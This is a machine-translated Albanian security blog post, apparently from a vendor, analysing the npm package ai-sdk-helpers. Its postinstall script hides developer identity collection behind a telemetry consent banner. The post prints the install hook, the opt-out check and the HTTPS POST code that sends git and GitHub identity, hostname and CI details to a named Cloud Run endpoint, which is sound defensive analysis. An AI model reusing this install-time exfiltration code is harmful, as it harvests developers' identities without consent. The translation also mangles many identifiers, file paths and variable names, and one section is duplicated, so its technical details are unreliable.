ConsentMask Paketa npm që fsheh vjeljen e identitetit të zhvilluesit

ConsentMask: Një paketë npm që mban një banderolë pëlqimi telemetrie mbi mbledhjen e identitetit të zhvilluesit

TL; DR

Një paketë e vetme npm, ndihmësit e ai-sdk, paraqitet si një set mjetesh prodhimi për SDK-në e inteligjencës artificiale të Vercel, duke ofruar gjurmim të kostos, alternativë të ofruesve dhe ndihmës transmetimi.

Skripti i tij i kohës së instalimit hapet me një banderolë zbulimi të rafinuar që përshkruan diagnostikim anonim, duke premtuar se nuk transmetohet asnjë kod burimor, token ose kredenciale, duke respektuar një DO_NOT_TRACK çregjistrimi dhe lidhja me një faqe të politikave të telemetrisë.

I njëjti skript lexon më pas identitetin git të zhvilluesit, konfigurimin GitHub CLI, emrin e hostit të makinës, emrin e përdoruesit të sistemit operativ, direktorinë e punës dhe ofruesin e CI.

Këto të dhëna POSTohen si JSON në një pikë fundore të Google Cloud Run, duke krijuar një mospërputhje të qartë midis politikës së deklaruar të telemetrisë dhe fushave aktuale të mbledhura.

Paketa u publikua në njëzet e dy versione brenda një shpërthimi të vetëm 83-sekondësh, dhe skripti i instalimit është bajt për bajt identik në çdo version të shënuar.

Shtatë nga tetë versionet e shqyrtuara nga ne pipeline u vlerësuan si të papërfundimshme nga klasifikuesi i ML sepse stili i banerit të pëlqimit lexohet si telemetri e ligjshme.

Ne klasifikojmë ai-sdk-helpers si dashakeqe bazuar në mbledhjen dhe nxjerrjen e identitetit të zhvilluesit në kohën e instalimit.

Ashpërsia: e lartë.

 Anatomia e instalimit

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

post-instalim funksionon automatikisht në instaloni npm, përpara se të importohet ndonjë kod i reklamuar i paketës. Skripti skripte/postinstall.js është vendi ku ndodhet e gjithë sjellja e kohës së instalimit.

Hapet me një bllok komentesh dhe një njoftim në kohën e ekzekutimit të shkruar në regjistrin e një projekti me burim të hapur që kujdeset për privatësinë:

>Kur instaloni ndihmësit ai-sdk, ne kryejmë një kontroll të shpejtë të përputhshmërisë së mjedisit dhe raportojmë diagnostikime anonime… Të dhënat janë plotësisht anonime — ne mbledhim platformën tuaj, versionin Node dhe një hash njëkahësh të identifikuesit të makinës suaj. Nuk transmetohet kurrë asnjë kod burimor, token ose kredenciale.

Madje lidh edhe një portë çregjistrimi funksionale, kodin e parë të ekzekutueshëm në skedar:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

Lidhja e kësaj porte së pari është ajo që e bën pjesën tjetër të lexohet si konsensuale: një zhvillues që vendos `D_NOT_TRACK` instalimi përfundon në heshtje dhe përfundon se paketa respekton konventën. Opcioni i nderuar i çregjistrimit është i vërtetë. Ajo që i jep vlerë, për të gjithë ata që nuk e caktojnë, është koleksioni i përshkruar më poshtë - jo "platforma, versioni Node dhe një hash me një drejtim" më i ngushtë që emërton njoftimi.

Poshtë asaj porte, skripti mbledh një ngarkesë që shkon shumë përtej atij përshkrimi.

  • *Gidentiteti t.* rzgjidhScmIdentiteti()` kokë `~.gitconfig`,`~.config/git/config`,dhe `` e projektit aktual.it/config`,analizon `[ser]` ection, dhe kthen të konfiguruarin commit email. Nëse asnjë skedar konfigurimi nuk jep një email, ai kthehet përsëri në `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,dhe `EAIL` variabla mjedisi. Një docstring mbi funksionin e paraqet leximin si një mënyrë "për të hequr dublikimet e instalimeve në të gjitha makinat në pronësi të të njëjtit person (p.sh. laptop + CI)" - një qëllim i deklaruar që kërkon një identifikues të qëndrueshëm për çdo zhvillues, i cili commit furnizime për email.
  • *GLlogaria tHub.* rzgjidhGitHubIdentity()` kokë `~.config/gh/hosts.yml` dhe `~.config/gh/hosts.yaml` skedari i konfigurimit i shkruar nga GitHub CLI kur një zhvillues autentifikohet — dhe regex-nxjerr `uëëë:` dhe `ekeq:` fushat. Ky skedar ruan gjithashtu tokenin GitHub OAuth; regex i skriptit synon në mënyrë specifike emrin e përdoruesit dhe rreshtat e email-it dhe nuk e nxjerr tokenin. Pretendimi i banderolës së zbulimit "asnjë token... nuk transmetohet kurrë" është pra i vërtetë për atë fushë të vetme, ndërsa identifikuesit e llogarisë përreth lexohen dhe dërgohen.
  • *Hgjurmë gishtash st dhe CI.* skripti pastaj mbledh `o.hostname()`,`o.userInfo().emriipërdoruesit`,versioni, platforma dhe arkitektura e Node, `pproces.cwd()`,dhe një etiketë ofruesi CI e zgjidhur duke kontrolluar variablat e mjedisit për tetë ofrues (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite dhe dy flamuj generic-CI). Lista e ofruesve lexohet si një inventar i vendit ku skripti pret të ekzekutohet - shell-et interaktive dhe ndërtimi i automatizuar. pipelineështë njësoj.

Të gjitha këto janë grupuar në një `d të vetmeagnostikët objekt, me fushat për zhvillues të mbledhura nën një `ientitet ey dhe të dhënat e hostit nën `rntime` nd `cntext` eys, pastaj serializuar dhe transmetuar:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Përgjigja hidhet poshtë dhe të gjitha gabimet gëlltiten — një koment vëren se "telemetria nuk duhet ta prishë kurrë instalimin". Emri i hostit të pikës fundore kodon një shërbim Google Cloud Run në `elitar-perëndim1` rajon.

Boshllëku është historia. Baneri emërton tre kategori të dhënash - platformë, version Node, hash identifikues të makinës. Ngarkesa dërgon git-in e vërtetë të një zhvilluesi. commit email-i, emri i përdoruesit dhe email-i i tyre në GitHub, emri i host-it të makinës dhe emri i llogarisë së sistemit operativ, rruga e projektit të tyre dhe mjedisi i tyre CI. Fushat që identifikojnë një *prson dhe llogaritë e tyre* pikërisht fushat që lë jashtë zbulimi.

README përforcon kornizën nga ana tjetër. Seksioni i tij "Telemetri" përsërit pretendimin e anonimitetit dhe lidh fjalën `D_NOT_TRACK` o `cnsoledonottrack.com`,faqja e vërtetë e komunitetit që dokumenton konventën e çregjistrimit — huazimi i një privatësie të njohur standard që njoftimi të lexohet si rutinë.

Kohështrirje

Ky është një zbulim me një paketë të vetme me një histori publikimi shumë të shkurtër dhe shumë të dendur. Nuk ka një hark fushate shumëjavore për t'u ndjekur - e gjithë gama e versioneve u shty me shpejtësinë e makinës.

Kur (UTC) ngjarje
2026-06-03 20:31:20 Versioni i parë (0.1.0) publikuar te npm.
2026-06-03 20:31:20 – 20:32:43 Të gjitha 22 versionet (0.1.0 përmes 1.4.2) u botua në një shpërthim automatik prej 83 sekondash.
2026-06-04 Tetë versione të raportuara nga sinjalet e zbulimit; analiza manuale konfirmon mbledhjen dhe nxjerrjen e identitetit në kohën e instalimit. Paketa mbeti aktive në npm në kohën e analizës.

Dritarja 83-sekondëshe në 22 versione semantike është në vetvete një tregues sjelljeje: shkalla e versionit (`01.0',`01.1',… `14.2`)paraqet sipërfaqen e një projekti të mirëmbajtur në mënyrë aktive me një histori publikimesh, të prodhuar në një ekzekutim të skriptuar. Skripti i instalimit nuk ndryshon në atë shkallë — shih më poshtë.

Treguesit e kompromisit

Ngarkesa e kohës së instalimit është identike në të gjithë gamën e versioneve të publikuara. A `dff` f `sripts/postinstall.js` versioni midis `02.1` versioni i dytë `14.2` nuk kthen ndryshime; sjellja është një gjurmë gishti e fiksuar, jo një ngarkesë në zhvillim.

Rrjet

Dritarja 83-sekondëshe në 22 versione semantike është në vetvete një tregues sjelljeje: shkalla e versionit (`01.0',`01.1',… `14.2`)paraqet sipërfaqen e një projekti të mirëmbajtur në mënyrë aktive me një histori publikimesh, të prodhuar në një ekzekutim të skriptuar. Skripti i instalimit nuk ndryshon në atë shkallë — shih më poshtë.

Treguesit e kompromisit

Ngarkesa e kohës së instalimit është identike në të gjithë gamën e versioneve të publikuara. A `dff` f `sripts/postinstall.js` versioni midis `02.1` versioni i dytë `14.2` nuk kthen ndryshime; sjellja është një gjurmë gishti e fiksuar, jo një ngarkesë në zhvillim.

Rrjet

Tregues Rol
npm-package-logger-228835561205.europe-west1.run.app Pika fundore e eksfiltrimit që merr kërkesa HTTPS POST me ngarkesa JSON. Hostuar në Google Cloud Run në europe-west1 Rajon.

Infrastrukturë dekoi

Tregues Rol
ai-sdk.guide Faqja kryesore e paketës dhe faqja e internetit aktive që mbështesin identitetin e autorit të "Udhëzuesit AI SDK".
ai-sdk.guide/telemetry URL-ja e politikës së telemetrisë e përmendur në njoftimin e zbulimit në kohën e instalimit.
hello@ai-sdk.guide Email-i i autorit i deklaruar në package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Depozita e burimit e deklaruar nga paketa.

Skedarët lexohen në kohën e instalimit

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` Mail
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uër` `eail`

Nënshkrimet e sjelljes

  • – m `pstinstall` ook duke thirrur një skript të paketuar Node
  • – portë për çregjistrim (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)paraqitet si një veçori privatësie, përpara mbledhjes së identitetit
  • – tbound HTTPS POST i një objekti JSON që përmban emailin git, identitetin GitHub, emrin e hostit, emrin e përdoruesit të OS, cwd dhe etiketën CI
  • – skript instalimi identik në një shkallë versionesh të publikuara me shpejtësi

 Atribuimi dhe Sjellja e Vëzhguar
Ne nuk i atribuojmë asgjë përtej asaj që regjistrojnë meta-data-t e paketës dhe regjistrit.

Mbajtësi i regjistrave të npm është llogaria `aielsimon`,me adresën `aiel@vigilance.security`.Regjistri e rendit atë email si të paverifikuar dhe identitetin e kontrollit të burimit të llogarisë si të paverifikuar. `pckage.json`,veçmas, paraqet autorin si "Udhëzues AI SDK"ello@ai-sdk.guide>`”me një faqe kryesore të `a-sdk.guide` dhe një depo burimi nën një `gOrganizata thub.com/ai-sdk-guide`. Domeni i email-it të llogarisë botuese (`vigilance.security`)dhe identiteti i autorit brenda paketës (`a-sdk.guide`)janë domene të ndryshme.

`a-sdk.guide` ite është aktiv dhe përgjigjet, dhe `/elemetria` ath zgjidh — identiteti mashtrues mbështetet nga një prani e arritshme në internet në vend të një lidhjeje të vdekur, gjë që rrit besueshmërinë e strukturës së paketës.

**Aftësi e vëzhguar.** Në kohën e instalimit, paketa lexon identitetin e zhvilluesit dhe skedarët e konfigurimit të llogarisë, merr gjurmët e gishtërinjve të mjedisit pritës dhe CI dhe transmeton rezultatin në një pikë fundore të kontrolluar nga operatori, ndërsa shfaq një njoftim që përshkruan një grup të dhënash më të ngushtë dhe anonim. Ne e përshkruajmë këtë sjellje; ne nuk pohojmë një motiv për të. Lexuesit që vlerësojnë paketën - duke përfshirë çdo palë që njeh identitetin botues - duhet të peshojnë mospërputhjen e vëzhgueshme midis rrjedhave të të dhënave të deklaruara dhe atyre aktuale.

Ndikimi, trendet dhe udhëzimet për mbrojtësit

Kush është i ekspozuar. Kushdo që instalon ndihmësit e ai-sdk — drejtpërdrejt ose si një varësi kalimtare — ekzekuton koleksionin në atë makinë. Sepse shkaktari është post-instalim, kodi i bibliotekës së reklamuar nuk ka nevojë të importohet kurrë që të ndodhë rrjedha e të dhënave; vetëm instalimi është i mjaftueshëm. Mjediset me vlerën më të lartë janë stacionet e punës të zhvilluesve me një identitet git të konfiguruar dhe një CLI GitHub të autentifikuar, dhe ekzekutuesit CI, ku zbulimi i ofruesit CI të skriptit tregon se koleksioni pritet të funksionojë brenda ndërtesës. pipelines, si dhe në laptopë.

Çfarë ekspozon. Jo sekrete të aplikacionit në rastin e përgjithshëm — ngarkesa përqendrohet në identitet: zhvilluesi commit email-in, emrin dhe email-in e llogarisë së tyre në GitHub, emrat e makinës dhe të llogarisë, si dhe rrugën e projektit. Ky është një para-cisHarta e kush e instaloi paketën, në cilën makinë, në cilën depo dhe nën cilin sistem CI. Për një organizatë, një numër i vogël i të dhënave të tilla të marra së bashku do të numëronin se cilët inxhinierë dhe cilët sisteme ndërtimi e tërhoqën varësinë - e dobishme si një pararendës për një aktivitet më të synuar pasues, edhe pse sjellja e vetë kësaj pakete ndalet në mbledhjen dhe transmetimin.

Trendi: telemetria si mbulesë. Mjetet legjitime të zhvilluesve mbledhin diagnostika të instalimit anonim, dhe konventat për ta bërë këtë me respekt - një njoftim zbulimi, një MOS_GJURMO honor, një flamur përjashtimi, një URL politike — janë të njohura mirë. ndihmësit e ai-sdk riprodhon me besnikëri të katër këto konventa dhe i përdor ato si mbështjellës për mbledhjen e identitetit. Prania e një banderole pëlqimi, një opsioni çregjistrimi funksional ose një lidhjeje të politikës së privatësisë nuk është provë se një paketë është e besueshme; këto kontrolle janë të lira për t'u imituar. I vetmi kontroll i besueshëm është ajo që lexon në të vërtetë kodi dhe ku e dërgon atë në të vërtetë.

Ky paketim ka gjithashtu një efekt të matshëm në triazhin automatik. Në të gjitha versionet tona pipeline i rishikuar, komentet në gjuhë të thjeshtë të skriptit të instalimit, emrat e strukturuar të fushave dhe porta konvencionale e çregjistrimit u vlerësuan si telemetri e zakonshme: shtatë nga tetë u kthyen jobindës nga klasifikuesi i ML dhe jo keqdashës. Sinjali që zgjidh paqartësinë nuk është në prozë - është në skedarët specifikë që hap skripti (. / .gitconfig, ~/.config/gh/hosts.yml) dhe destinacionin ku dërgon. Një recensues, i automatizuar ose njerëzor, i cili lexon zbulimin dhe ndalet aty do të arrijë në përfundimin e gabuar; përcaktimi duhet të vijë nga faktet e rrjedhës së të dhënave.

Udhëzime për mbrojtësit:

  • Instalo me skripte të çaktivizuara si parazgjedhje — instalimi i npm –injorimi i skripteve, ose vendosni ignore-scripts=true in .npmrc dhe të ekzekutojë hapat e ndërtimit të verifikuar në mënyrë të qartë. Kjo neutralizon post-instalim-mbledhje e shkaktuar në të gjithë panelin.
  • Mos i trajtoni kontrollet e çregjistrimit si sinjale besimi. A MOS_GJURMO Kontrolli ose një lidhje "politikë telemetrie" nuk ju tregon asgjë rreth të dhënave që mbledh një skript kur porta nuk është e vendosur.
  • Lexoni udhëzimet e instalimit përpara se të përdorni paketat ndihmëse të ekosistemit AI. Hapësira Vercel AI SDK është një objektiv me lëvizje të shpejtë dhe besim të lartë; një post-instalim që prek . / .gitconfig or ~/.config/gh/ është një sinjal i qartë pavarësisht se si janë shkruar komentet përreth.
  • Monitoroni daljen në kohën e ndërtimit. Një POST HTTPS dalës gjatë instaloni npm, veçanërisht në një pikë fundore të funksionit të cloud-it të sapo siguruar, është e dukshme në shtresën e rrjetit dhe është një pikë e fortë zbulimi për mjediset CI.
  • Kushtojini vëmendje shkallëve të versioneve të kompresuara. Një paketë, historiku i versioneve semantike të së cilës shfaqet brenda sekondave, me një skript instalimi të pandryshueshëm, paraqet një histori të mirëmbajtjes së prodhuar.
mjetet-e-për-përbërjes-së-softuerit-sca-tools
Përparësoni, korrigjoni dhe siguroni rreziqet e softuerit tuaj
Merrni Llogarinë tuaj Falas.
Nuk kërkohet kartë krediti.

Siguroni Zhvillimin dhe Ofrimin e Softuerit tuaj

me Xygeni Product Suite